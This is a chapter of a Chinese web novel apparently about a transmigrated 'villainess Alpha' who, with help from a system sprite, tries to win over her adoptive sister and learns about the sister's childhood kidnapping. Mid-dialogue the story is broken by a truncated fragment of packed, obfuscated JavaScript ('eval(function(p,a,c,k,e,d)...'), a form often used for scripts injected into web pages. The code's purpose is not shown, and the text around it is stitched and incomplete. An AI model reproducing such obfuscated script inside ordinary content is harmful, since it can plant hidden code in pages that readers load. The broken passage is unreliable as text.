“肉蛋奶呢?”许清影问。 许南星顿了一下,嘴硬:“我不喜欢吃。” 许清影眼色一沉。 明明这两天餐桌上,吃肉吃得最欢的就是这位不喜欢吃肉小姐。 再迟钝的人看到许清影的神色也该明白了,许南星心里更是暖暖的,为她的抱大腿计划稳步推进,感到开心。 但开心过就好了,过去的那些事情也不用一遍遍被提起。 许南星十分警惕自己对过去的哀怨,生怕剧情之手察觉,所以也跟许清影转移话题:“说起这个,你刚才不是问我《小白船》都给谁唱过吗?” 许清影抬眸,默然等待许南星告诉她答案。 “我给奶奶、那边的爸爸妈妈、还有几个村子里的朋友……都唱过。”数到这里,许南星就抬头看向了许清影,“最近就是只有给你唱过了。” 这个人好刻意。 为了突出许清影的特殊性,甚至还加了“只有”两个字。 可在这句话说完须臾,许清影就垂下了她的眼睛。 “知道了。” 这人声音淡淡的,看起来兴致不高的样子,又看起来跟往常无异。 许南星猜不透许清影,就像她到现在都还没有搞清楚许清影为什么要给她扣分。 尽管她现在从许清影身上捞到的积分已经断断续续够一分了,她还是耿耿于怀。 许南星小心眼,见许清影不再理睬自己,转过头去主动看向许清影。 落日不偏不倚,沿着窗棂洒在许清影的侧脸。 日光蒙在她的脸上,像是罩了一层朦胧的纱,影影绰绰的,就好像许南星刚刚在梦里看到的…… 想到这里,许南星立刻摇起了头。 她想什么呢。 真是疯了。 她怎么能梦到许清影掐着分化了的她…… 梦不堪回首,许南星耳朵都是热的。 她强迫自己转移注意力,复盘起刚才巷子里发生的事情。 “小白。” 【宿主,你终于召唤小白了!呜呜,你刚才吓死小白了TAT】 许南星刚在心里呼唤系统,小光球就嗖的飞了出来,抖擞的光好像它的眼泪。 许南星揉揉趴在自己身上的小球:“怕什么,我死不了。就算是恶毒Alpha女配,还没到领盒饭的时候,剧情之手也不会让我死的。” 【宿主不要说这么不吉利的话!】小白用身体堵住许南星的嘴。 许南星从善如流,拎起小球:“那你帮我查查许清影为什么会有黑暗恐惧症吧。” 【收到!】小白立刻充满干劲。 只是不过两秒,它就遗憾的飘了回来:【宿主,许清影资料里没有这个原因。】 “怎么又没有?”许南星眉头紧皱。 【许清影的资料保密度比我想象的高,我想宿主要不要去问妈妈呢?】小白建议,【刚刚妈妈通过这件事生气又自责,宿主的家庭羁绊又增加了0.2呢。】 小白的提议许南星认同。 毕竟许清影从小是在许佩宁身边长大的,她有什么问题,许佩宁不可能不清楚。 而等许佩宁回来,许南星还没找到机会和她单独相处,她就告诉许南星,可以出院了。 这可算是个特大喜讯。 许南星还是没有习惯享受金钱带来的便利,这病房太空旷,让她有种暴殄天物的感觉。 回到家,许清影表示要去琴房练琴,周安有跨国会议要开。 看着客厅转眼就剩下自己和妈妈两个人,许南星抓住机会,紧紧凑到了许佩宁身边:“妈妈,姐姐好辛苦啊,还要练琴。” 许佩宁不是个催促孩子学习的家长,她给许南星切了一盘草莓,半开玩笑的表示:“姐姐下周有比赛,忙过这一阵就能陪你了,今天还是让妈妈陪小星吧。” 许南星咬着草莓,冰凉的果汁叫她脸颊一热。 她可真没许佩宁想象的那么黏许清影,她做这一切都是有原因的! “妈妈,我可以问你一件事吗?”许南星长驱直入。 许佩宁毫不犹豫的点头:“说吧,妈妈如果知道,一定告诉你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这样啊。”许南星若有所思,她也觉得这件事没有这么简单。 一个八九岁的孩子,是怎么做到拿到绑匪手机,又自己逃了出去。 绑匪费了这么大力气绑架要钱,肯定会对她这棵摇钱树严加看管。 【有钱人家的小孩也真不是这么容易当的。】小白感叹。 “要是我当时被绑架了,怕什么也帮不上忙。”许南星附和。 虽然别人都说她和许清影交换人生,许清影替她享了十七年的福,但绑架这件事,从来都没有人替许清影提过。 该死的剧情之手,为了挑拨她们姐妹的感情,真是费尽心机! “妈妈,我一定要对姐姐更好一些才行!”许南星眼神坚定,誓要跟剧情反着来。 “那妈妈呢?小星不想对妈妈更好一些吗?”许佩宁佯作委屈,靠在许南星的肩上。 许南星立刻表示:“当然要。” “那你亲妈妈一口。”许佩宁笑着朝许南星扬起侧脸,那副狡黠样子跟许南星一模一样。 什么是亲妈。 这就是亲妈。 许南星是个实心眼儿,既然自己刚刚答应了,现在就是局促,也要做到。 而且就是亲一下脸颊,亲人之间这有什么。 许南星轻抿了下唇,在许佩宁万分期待中,“啵唧”一下,亲在了许佩宁的脸颊。 许佩宁当即笑的眼睛都眯了起来。 偏巧楼上的两扇门都在这个时候被打开了,她看着出来的许清影和周安,兴奋的炫耀:“清影,爸爸,刚刚小星可亲了我一口,你们都没有吧!” “你瞧把你高兴的。”周安望着自己的妻子,摇头笑笑。 许南星脸颊热热的,但很快就感觉有一道冷冽的风蹭过她的唇瓣。 感觉起来就像刚刚在医院做的那场梦。 许南星下意识的抬起头往走廊的另一端看去,就看到许清影正面无表情的看着自己,身上的凉意都快溢出来了:“南星,跟我来一下。”